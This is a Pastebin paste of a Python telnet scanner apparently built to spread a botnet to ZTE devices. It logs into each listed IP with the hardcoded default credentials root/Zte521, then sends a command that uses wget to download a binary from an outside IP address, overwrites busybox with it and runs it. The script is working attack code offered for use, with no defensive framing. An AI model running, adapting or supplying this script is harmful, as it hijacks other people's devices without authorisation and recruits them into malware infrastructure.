Advertisement
LNO_LiGhT

ZTE Scanner By; LiGhT

Nov 13th, 2016
1,807
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.73 KB | None | 0 0
  1. #!/usr/bin/python
  2. # ZTE Scanner | By; LiGhT
  3.  
  4. import threading, sys, time, random, socket, re, os
  5.  
  6. if len(sys.argv) < 2:
  7.         print "Usage: python "+sys.argv[0]+" <list>"
  8.         sys.exit()
  9.  
  10. ips = open(sys.argv[1], "r").readlines()
  11. username = "root"
  12. password = "Zte521"
  13. cmd = "cd /var/; rm -rf busybox filename; wget http://54.68.172.22/hoho -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" #KEEP FORMAT OF PAYLOAD
  14. #cmd = "reboot"
  15. count = 0
  16. def readUntil(tn, string, timeout=15):
  17.     buf = ''
  18.     start_time = time.time()
  19.     while time.time() - start_time < timeout:
  20.         buf += tn.recv(1024)
  21.         time.sleep(0.01)
  22.         if string in buf: return buf
  23.     raise Exception('TIMEOUT!')
  24.  
  25. class ztee(threading.Thread):
  26.         def __init__ (self, ip):
  27.             threading.Thread.__init__(self)
  28.             self.ip = str(ip).rstrip('\n')
  29.         def run(self):
  30.         try:
  31.             tn = socket.socket()
  32.             tn.settimeout(5)
  33.             tn.connect((self.ip,23))
  34.         except Exception:
  35.             print "[%s] Timeout"%(count)
  36.         try:
  37.             time.sleep(0.01)
  38.             hoho = ''
  39.             hoho += readUntil(tn, ":")
  40.             if "ogin" in hoho:
  41.                 tn.send(username + "\n")
  42.         except Exception:
  43.             tn.close()
  44.         try:
  45.             hoho = ''
  46.             hoho += readUntil(tn, ":")
  47.             if "assword" in hoho:
  48.                 tn.send(password + "\n")
  49.                 time.sleep(3)
  50.         except Exception:
  51.             tn.close()
  52.         try:
  53.             mp = ''
  54.             mp += tn.recv(1024)
  55.             if "#" in mp or "$" in mp:
  56.                 tn.send(cmd + "\n")
  57.                 print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip)
  58.                 time.sleep(30)
  59.                 tn.close()             
  60.         except Exception:
  61.             tn.close()
  62.             print "[%s] Timeout"%(count)
  63. for ip in ips:
  64.     try:
  65.         count += 1
  66.         t = ztee(ip)
  67.         t.start()
  68.         time.sleep(0.02)
  69.     except:
  70.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement